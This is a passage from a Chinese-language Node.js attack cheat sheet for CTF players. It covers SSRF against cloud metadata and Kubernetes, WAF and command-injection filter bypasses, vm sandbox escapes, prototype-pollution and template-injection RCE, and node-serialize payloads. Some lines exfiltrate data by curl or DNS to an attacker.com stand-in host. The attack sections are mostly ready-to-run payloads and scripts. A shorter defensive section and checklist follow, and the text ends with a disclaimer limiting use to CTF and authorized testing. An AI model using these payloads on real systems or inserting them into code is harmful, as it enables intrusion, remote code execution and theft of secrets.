// ── 经典场景 ──
// 图片/资源代理
app.get('/proxy', async (req, res) => {
const url = req.query.url // 用户控制 → SSRF
const response = await axios.get(url)
res.send(response.data)
})
// 二维码/截图服务
app.post('/qrcode', async (req, res) => {
const url = req.body.url // 用户控制 → SSRF
await page.goto(url) // Puppeteer 访问内网
const screenshot = await page.screenshot()
res.send(screenshot)
})
// URL 预览/元数据获取
app.post('/preview', async (req, res) => {
const { url } = req.body // 用户控制 → SSRF
const meta = await fetch(url).then(r => r.text())
res.json({ preview: meta })
})
8.2 SSRF 攻击目标
# ── 云元数据服务 ──
http://169.254.169.254/latest/meta-data/ # AWS 通用
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data # 启动脚本(含密钥)
http://metadata.google.internal/computeMetadata/v1/?recursive=true # GCP
http://169.254.169.254/metadata/v1/ # DigitalOcean
http://100.100.100.200/latest/meta-data/ # 阿里云 ECS
# ── Kubernetes API ──
http://kubernetes.default.svc/api/v1/
http://kubernetes.default.svc/api/v1/namespaces/
http://kubernetes.default.svc/api/v1/secrets/
https://kubernetes.default.svc:443/api/v1/configmaps/
# ── 内部服务 ──
http://localhost:27017/ # MongoDB HTTP 接口(某些版本)
http://127.0.0.1:6379/ # Redis(RESP 协议,通常不是 HTTP)
http://127.0.0.1:9200/_cat/indices # Elasticsearch
http://127.0.0.1:2375/containers/json # Docker Daemon(未加密)
http://127.0.0.1:8500/v1/kv/ # Consul
http://127.0.0.1:4001/v2/keys/ # etcd
http://127.0.0.1:3000/ # 内部管理页面
# ── 本地敏感路径 ──
file:///etc/passwd
file:///proc/self/environ
file:///flag
# ── IP 绕过 ──
http://127.0.0.1/ # IPv4 本地
http://[::1]/ # IPv6 本地
http://0x7f000001/ # 十六进制:127.0.0.1
http://2130706433/ # 十进制:127.0.0.1
http://127.1/ # 简写(部分系统)
http://127.000.000.001/ # 八进制风格(部分系统)
8.3 SSRF 绕过过滤
import requests
TARGET = "http://target.com/proxy?url="
# ── 绕过域名黑名单 ──
# 方法一:使用重定向(若未跟随到内网)
# 搭建 http://attacker.com/redir → 302 → http://127.0.0.1/
# 方法二:DNS 重绑定
# 域名首次解析为公网 IP(绕过检查)
# 第二次解析为 127.0.0.1(实际请求)
# DNS TTL=0,每次解析不同 IP
# 方法三:IPv6
payloads = [
"http://[::1]/",
"http://[::ffff:127.0.0.1]/",
"http://0x7f000001/",
"http://2130706433/",
"http://127.1/",
]
# 方法四:短链接服务跳转到内网
# 使用 bit.ly / tinyurl 等重定向到 127.0.0.1
# 方法五:URL 中插入认证信息混淆解析
# http://attacker.com@127.0.0.1/ → 某些解析器取 @ 后的 host
# http://127.0.0.1#attacker.com → 某些解析器取 # 前的 host
for url in payloads:
r = requests.get(TARGET + url, timeout=5)
print(f"{url} → {r.status_code}: {r.text[:100]}")
九、WAF 绕过技术
9.1 HTTP 请求层绕过
import requests
import gzip, json
TARGET = "http://target.com/api"
# ── Content-Type 切换 ──
# WAF 可能只针对特定 Content-Type 做深度检测
# JSON 标准格式
requests.post(TARGET, json={"cmd": "id"})
# text/plain(某些框架仍解析 JSON)
requests.post(TARGET, data='{"cmd":"id"}',
headers={"Content-Type": "text/plain"})
# form 格式(绕过 JSON 检测)
requests.post(TARGET, data={"cmd": "id"})
# multipart(绕过 JSON 检测)
requests.post(TARGET, files={"cmd": (None, "id")})
# ── Gzip 压缩绕过 ──
# 某些 WAF 不解压即检测
body = gzip.compress(json.dumps({"cmd": "id; cat /flag"}).encode())
requests.post(TARGET, data=body,
headers={
"Content-Type": "application/json",
"Content-Encoding": "gzip"
})
# ── 分块传输(Chunked)绕过 ──
# 某些 WAF 不重组 Chunked Body
import http.client
conn = http.client.HTTPConnection("target.com")
conn.putrequest("POST", "/api")
conn.putheader("Transfer-Encoding", "chunked")
conn.putheader("Content-Type", "application/json")
conn.endheaders()
body = b'{"cmd":"id"}'
conn.send(hex(len(body)).encode() + b"\r\n" + body + b"\r\n0\r\n\r\n")
# ── 参数污染(HPP)──
# WAF 取第一个参数,后端取最后一个
requests.post(TARGET,
data="cmd=safe&cmd=id;cat+/etc/passwd",
headers={"Content-Type": "application/x-www-form-urlencoded"})
# ── Unicode 正规化绕过 ──
# 某些 WAF 在 Unicode 正规化前检测关键字
# 全角字符在某些系统下正规化后等效于 ASCII
requests.post(TARGET,
json={"cmd": "id"}) # 全角 → 某些框架正规化为 cmd: id
9.2 原型链污染绕过 WAF
// ── 绕过 __proto__ 关键字检测 ──
// 方法一:constructor.prototype(等效但关键字不同)
{"constructor": {"prototype": {"isAdmin": true}}}
// 方法二:Unicode 转义 __proto__
{"\u005f\u005fproto\u005f\u005f": {"isAdmin": true}}
// \u005f = _
// 方法三:数组访问语法(若 WAF 只检测 . 分隔)
// obj["__proto__"]["isAdmin"] = true
// 方法四:混合路径(若使用 set 类函数)
// 路径:constructor[prototype][isAdmin]
// 某些 WAF 检测 __proto__ 但不检测 constructor.prototype
// ── 绕过 outputFunctionName 关键字检测 ──
// 污染不同的 EJS 选项触发 RCE
// 污染 escape 函数(EJS 另一利用点)
{"__proto__": {
"escape": "x; require('child_process').execSync('id'); return //"
}}
// 污染 opts.filename(某些 EJS 版本)
{"__proto__": {
"filename": "/etc/passwd"
}}
9.3 命令注入 WAF 绕过
# ── 空格绕过 ──
cat${IFS}/etc/passwd # IFS 变量替代空格
cat</etc/passwd # 重定向符号替代空格
{cat,/etc/passwd} # Bash 大括号展开
cat%09/etc/passwd # Tab(URL 编码)
X=$'\x20';cat${X}/etc/passwd # ANSI C 字符串
# ── 关键字绕过 ──
# 反斜杠截断
c\at /etc/passwd
ca\t /etc/passwd
# 引号截断(引号不影响执行)
c''at /etc/passwd
c""at /etc/passwd
wh''oami
# 变量拼接
a=ca;b=t;$a$b /etc/passwd
a=c;b=at;${a}${b} /etc/passwd
# Base64 解码执行
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
# Y2F0IC9ldGMvcGFzc3dk = cat /etc/passwd
# 通配符替代字符
/???/??t /???/p????d # /bin/cat /etc/passwd
/bin/c?t /etc/p???wd # 匹配 passwd
# ── Node.js 特有绕过 ──
# 不调用 shell,直接用 Node.js API 读取文件(绕过命令过滤)
require('fs').readFileSync('/etc/passwd').toString()
require('fs').readFileSync('/flag').toString()
# 通过 Buffer 编码绕过字符串过滤
require('child_process').execSync(
Buffer.from('aWQ=','base64').toString()
) // 'id'
# charCode 构造命令字符串
require('child_process').execSync(
String.fromCharCode(105,100) // 'id'
)
# 通过数组 join 构造命令
require('child_process').execSync(['i','d'].join(''))
9.4 eval / new Function 关键字绕过
// ── 过滤了 require / process 等关键字 ──
// 方法一:通过 global 对象访问
global['process']
global['require']
globalThis['process']
// 方法二:通过 constructor 链(不含 require / process 关键字)
this.constructor.constructor('return process')()
''.constructor.constructor('return process')()
// 方法三:字符串拼接
'req'+'uire' // → 'require'
eval('req'+'uire')('child_process')
// 方法四:Array join
['r','e','q','u','i','r','e'].join('') // → 'require'
eval(['r','e','q','u','i','r','e'].join(''))('child_process')
// 方法五:Base64 解码
Buffer.from('cmVxdWlyZQ==','base64').toString()
// cmVxdWlyZQ== = require
eval(Buffer.from('cmVxdWlyZQ==','base64').toString())('child_process')
// 方法六:charCode 构造
String.fromCharCode(114,101,113,117,105,114,101) // 'require'
// 方法七:Reflect / Proxy 包装(绕过属性访问检测)
const proc = new Proxy(process, { get: Reflect.get.bind(Reflect) })
proc.mainModule.require('child_process').execSync('id')
// 方法八:过滤了 eval,使用 Function 构造器
Function('return require("child_process").execSync("id").toString()')()
// 过滤了 Function,使用
;(0,eval)('require("child_process").execSync("id").toString()')
// 间接 eval,某些 lint 规则不报警
// 方法九:利用已有上下文对象
// 若 sandbox 中有函数对象,可通过它访问 Function
sandbox.existingFn.constructor('return process')()
9.5 SSTI WAF 绕过
// ── EJS 关键字绕过 ──
// 过滤了 require
<%= global['require']('child_process').execSync('id') %>
<%= process.mainModule['require']('child_process').execSync('id') %>
// 过滤了 child_process(字符串拼接)
<%= require('child'+'_process').execSync('id') %>
// 过滤了 execSync(用 exec 替代)
<% require('child_process').exec('id', (err,out) => { require('fs').writeFileSync('/tmp/o',out) }) %>
// ── Pug 关键字绕过 ──
- var cp = global['require']('child_process')
= cp.execSync('id').toString()
// ── 通过模板嵌套 ──
// 若某一层过滤不严,可嵌套模板触发
十、CTF 实战思路
10.1 解题决策树
发现 Node.js 应用
│
├── 信息收集
│ ├── 响应头 X-Powered-By: Express 4.x
│ ├── 错误页面泄露 __dirname / __filename / 堆栈
│ ├── 访问 /package.json → 依赖版本 → 查 CVE
│ └── 访问 /.env / /config.js → 密钥泄露
│
├── 原型链污染路径
│ ├── 寻找 merge/deepClone/set/update 端点
│ ├── 测试 {"__proto__":{"polluted":true}}
│ │ POST + 检查 ({}).polluted === true
│ ├── 查 package.json 找漏洞库版本(lodash/ejs 等)
│ └── 污染成功 → 找利用链
│ ├── EJS 渲染 → outputFunctionName → RCE
│ ├── Lodash template → variable → RCE
│ ├── exec 选项 → shell → RCE
│ └── spawn env → NODE_OPTIONS → RCE
│
├── 代码执行路径
│ ├── 发现 eval / new Function → 直接 RCE
│ ├── 发现 vm.runInNewContext → 沙箱逃逸
│ ├── 发现 node-serialize Cookie → IIFE Payload
│ ├── 发现 yaml.load FULL_SCHEMA → !!js/function
│ └── 发现 template 端点 → SSTI(EJS/Pug/HBS)
│
├── 命令注入路径
│ ├── 发现 exec/execSync 字符串拼接 → 注入分隔符
│ ├── 有回显 → 直接读 flag
│ └── 无回显 → curl/DNS 外带
│
└── 文件读取路径
├── 发现 readFile/sendFile 路径可控 → 路径穿越
├── ?file=../../../../flag
└── URL 编码 / 双重编码 / ....// 绕过过滤
10.2 常见题型与 Payload
// ══ 题型一:原型链污染 + EJS RCE ══
// POST /api/merge
const payload = {
"__proto__": {
"outputFunctionName":
"x; process.mainModule.require('child_process').execSync('cat /flag').toString(); //"
}
}
// 触发:GET /any-ejs-route
// ══ 题型二:vm 沙箱逃逸 ══
// POST /sandbox {"code": "..."}
const escape = `this.constructor.constructor('return process')()
.mainModule.require('child_process')
.execSync('cat /flag').toString()`
// ══ 题型三:node-serialize 反序列化 ══
// Cookie: profile=<base64>
const nsPayload = JSON.stringify({
rce: "_$$ND_FUNC$$_function(){" +
"require('child_process').execSync(" +
"'curl http://attacker.com/?f='+require('fs').readFileSync('/flag').toString()" +
")}()"
})
const b64 = Buffer.from(nsPayload).toString('base64')
// ══ 题型四:EJS 直接 SSTI ══
// ?tpl=<%= require('child_process').execSync('cat /flag') %>
// ?name=%3C%25%3D%20require('child_process').execSync('cat%20/flag')%20%25%3E
// ══ 题型五:Pug SSTI ══
// ?title=\n-%20var%20x%3Drequire('child_process')%0a%3D%20x.execSync('cat%20/flag').toString()
// ══ 题型六:路径穿越 ══
// ?file=../../../../flag
// ?file=....//....//....//....//flag
// ?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fflag
// ══ 题型七:命令注入 ══
// ?host=127.0.0.1;cat /flag
// ?host=127.0.0.1;cat${IFS}/flag (空格过滤绕过)
// ?host=127.0.0.1%0acat%20/flag (换行符注入)
10.3 信息收集 Payload 速查
// ── 读取 flag ──
require('fs').readFileSync('/flag').toString()
require('fs').readFileSync('/flag.txt').toString()
require('fs').readFileSync(process.env.FLAG_PATH || '/flag').toString()
// ── 环境变量(含密钥)──
JSON.stringify(process.env)
process.env.FLAG
process.env.SECRET_KEY
process.env.DATABASE_URL
// ── 列目录 ──
require('fs').readdirSync('/').join('\n')
require('fs').readdirSync('/var/www').join('\n')
require('fs').readdirSync(__dirname).join('\n')
// ── 当前源码 ──
require('fs').readFileSync(__filename).toString()
require('fs').readFileSync(require.main.filename).toString()
// ── package.json(依赖版本)──
require('fs').readFileSync(require.main.path + '/package.json').toString()
JSON.stringify(require('./package.json'))
// ── 进程信息 ──
process.cwd() // 当前工作目录
process.pid // 进程 ID
process.argv.join(' ') // 启动参数(可能含密钥)
process.versions // Node.js 及 V8 版本
十一、防御措施
11.1 输入验证
// ── 使用 zod 严格类型验证 ──
import { z } from 'zod'
const LoginSchema = z.object({
username: z.string().min(1).max(50).regex(/^[a-zA-Z0-9_]+$/),
password: z.string().min(8).max(128),
})
app.post('/login', (req, res) => {
const result = LoginSchema.safeParse(req.body)
if (!result.success) {
return res.status(400).json({ error: result.error.format() })
}
const { username, password } = result.data // 已验证数据
})
// ── 防止原型链污染的 merge ──
function safeMerge(target, source) {
const BLOCKED = new Set(['__proto__', 'constructor', 'prototype'])
for (const key of Object.keys(source)) { // 用 Object.keys,不遍历原型链
if (BLOCKED.has(key)) continue // 跳过危险键
if (typeof source[key] === 'object' && source[key] !== null) {
if (!Object.hasOwn(target, key)) target[key] = {}
safeMerge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
// ── 启动时冻结 Object.prototype ──
Object.freeze(Object.prototype)
11.2 命令与文件安全
// ── 安全命令执行(数组参数)──
const { execFile } = require('child_process')
// ❌ 危险
execSync(`ping -c 1 ${host}`)
// ✅ 安全(execFile 不经过 Shell)
execFile('/bin/ping', ['-c', '1', host], (err, stdout) => {
res.send(stdout)
})
// ── 安全文件读取(路径验证)──
function safeReadFile(baseDir, userInput) {
const base = path.resolve(baseDir)
const target = path.resolve(base, userInput)
if (!target.startsWith(base + path.sep)) {
throw new Error('Path traversal detected')
}
return fs.readFileSync(target)
}
// ── 禁用危险函数(生产环境)──
// 通过 ESLint 规则(eslint-plugin-security)在代码层面禁止
// no-eval, no-new-func 等规则
11.3 安全配置清单
// ── Express 安全配置 ──
const helmet = require('helmet')
const rateLimit = require('express-rate-limit')
app.disable('x-powered-by') // 不暴露框架版本
app.use(helmet()) // 安全响应头
app.use(express.json({ limit: '100kb' })) // 限制请求体大小
// 速率限制
app.use('/login', rateLimit({
windowMs: 15 * 60 * 1000, // 15 分钟
max: 20, // 最多 20 次
}))
// 安全 Cookie
app.use(require('express-session')({
secret: process.env.SESSION_SECRET, // 从环境变量读取
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // 防 XSS 窃取
secure: true, // 仅 HTTPS
sameSite: 'strict', // 防 CSRF
maxAge: 3600000, // 1小时过期
}
}))
// ── Node.js 启动参数 ──
// --disable-proto=throw 防止 __proto__ 访问(Node.js 13.12+)
// --no-experimental-fetch 禁用实验性 fetch(减少攻击面)
// NODE_ENV=production 禁用调试信息
11.4 防御检查清单
代码层:
✅ 所有用户输入使用严格类型验证(zod / joi / class-validator)
✅ 禁止 eval / new Function 处理用户输入
✅ 命令执行使用数组参数形式,禁止字符串拼接
✅ 文件路径操作后验证仍在许可目录内
✅ 递归 merge / clone 过滤 __proto__ / constructor 键
✅ 使用 js-yaml 4.x(不支持 !!js/*)
✅ 禁止 node-serialize,改用 JSON
框架层:
✅ 使用 helmet 设置安全响应头
✅ 登录接口添加速率限制
✅ 登录成功后调用 session.regenerate()
✅ Cookie 设置 httpOnly / secure / sameSite
✅ 关闭 x-powered-by 响应头
✅ 错误处理不暴露路径和堆栈
VM / 沙箱层:
✅ 不用 vm 模块执行不可信代码
✅ 使用 isolated-vm 或 Docker 真正隔离
✅ 禁止使用 vm2(已停止维护)
依赖安全:
✅ 定期运行 npm audit
✅ 使用 npm ci 严格按 lock 文件安装
✅ 锁定依赖精确版本防依赖混淆
✅ 审查新增包的 install scripts
运行时:
✅ node --disable-proto=throw(Node.js 13.12+)
✅ 以最小权限用户运行 Node.js
✅ 设置 NODE_ENV=production
✅ 启用运行时异常监控和告警
附录
A. 常见 CVE 速查
| CVE |
组件 |
版本 |
漏洞类型 |
修复版本 |
| CVE-2020-8203 |
lodash |
< 4.17.19 |
原型链污染(merge/set/zipObjectDeep) |
4.17.19+ |
| CVE-2019-10744 |
lodash |
< 4.17.15 |
原型链污染(defaultsDeep) |
4.17.15+ |
| CVE-2019-11358 |
jQuery |
< 3.4.0 |
原型链污染($.extend) |
3.4.0+ |
| CVE-2022-29078 |
ejs |
< 3.1.7 |
原型链污染 → RCE(outputFunctionName) |
3.1.7+ |
| CVE-2021-23337 |
lodash |
< 4.17.21 |
template variable 注入 → RCE |
4.17.21+ |
| CVE-2021-23369 |
handlebars |
< 4.7.7 |
原型链污染 → RCE |
4.7.7+ |
| CVE-2015-9235 |
jsonwebtoken |
< 4.2.2 |
Algorithm None |
4.2.2+ |
| CVE-2022-23529 |
jsonwebtoken |
< 9.0.0 |
密钥注入 |
9.0.0+ |
| CVE-2022-36067 |
vm2 |
< 3.9.11 |
沙箱逃逸(Error.prepareStackTrace) |
弃用 |
| CVE-2023-29017 |
vm2 |
< 3.9.15 |
沙箱逃逸(async 异常) |
弃用 |
| CVE-2021-44906 |
minimist |
< 1.2.6 |
原型链污染 |
1.2.6+ |
| CVE-2022-24999 |
qs |
< 6.7.3 |
原型链污染 |
6.7.3+ |
| CVE-2018-3728 |
hoek |
< 5.0.3 |
原型链污染 |
5.0.3+ |
B. Node.js 版本安全特性
| 版本 |
关键安全特性 |
| 10.x(EOL) |
基础 TLS 1.2 支持 |
| 12.x(EOL) |
--experimental-policy 模块完整性 |
| 14.x(EOL) |
--disable-proto=delete|throw |
| 16.x(EOL) |
--no-global-search-paths 限制搜索路径 |
| 18.x LTS |
内置 fetch API(新 SSRF 面) |
| 20.x LTS |
--experimental-permission 权限模型 |
| 22.x LTS |
稳定权限模型(--permission --allow-fs-read=...) |
C. 快速 RCE Payload 速查
// ── 已有代码执行环境时的常用 Payload ──
// 读取 flag
require('fs').readFileSync('/flag').toString()
// 执行命令并返回
require('child_process').execSync('id').toString()
require('child_process').execSync('cat /flag').toString()
// 环境变量
JSON.stringify(process.env)
// 列目录
require('fs').readdirSync('/').join(',')
// HTTP 外带(无回显)
require('child_process').execSync(
"curl http://attacker.com/?d=" +
encodeURIComponent(require('fs').readFileSync('/flag').toString())
)
// DNS 外带(绕过 HTTP 过滤)
;(()=>{
const d = require('fs').readFileSync('/flag').toString().trim()
const b = Buffer.from(d).toString('base64').replace(/[+/=]/g,'')
require('dns').resolve(b.slice(0,50)+'.x.attacker.com',()=>{})
})()
// ── VM 沙箱逃逸通用 Payload ──
this.constructor.constructor('return process')()
.mainModule.require('child_process').execSync('cat /flag').toString()
// ── 原型链污染 → EJS RCE ──
{"__proto__":{"outputFunctionName":"x;require('child_process').execSync('cat /flag');//"}}
// ── node-serialize IIFE ──
{"x":"_$$ND_FUNC$$_function(){require('child_process').execSync('cat /flag')}()"}
D. 工具速查
# ── 漏洞扫描 ──
npm audit # 内置依赖漏洞审计
npx snyk test # Snyk 扫描
npx retire --js . # retire.js 扫描
npx is-my-node-vulnerable # Node.js 本体漏洞检查
# ── 原型链污染检测 ──
npx pp-finder app.js # 静态分析
node -e "Object.freeze(Object.prototype); require('./app')" # 冻结后测试
# ── JWT 攻击 ──
# jwt_tool
python3 jwt_tool.py <token> -X a # Algorithm None
python3 jwt_tool.py <token> -X k -pk public.pem # 密钥混淆
# hashcat 弱密钥爆破
hashcat -a 0 -m 16500 token.txt wordlist.txt
# ── 沙箱逃逸测试 ──
node -e "const vm=require('vm'); console.log(vm.runInNewContext(\"this.constructor.constructor('return process')().version\", {}))"
# ── 代码静态分析 ──
npx eslint --plugin security . # eslint-plugin-security
semgrep --config=auto . # Semgrep 安全规则扫描
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。未经授权对任何系统进行攻击属于违法行为,请在合法合规的环境中学习与实践。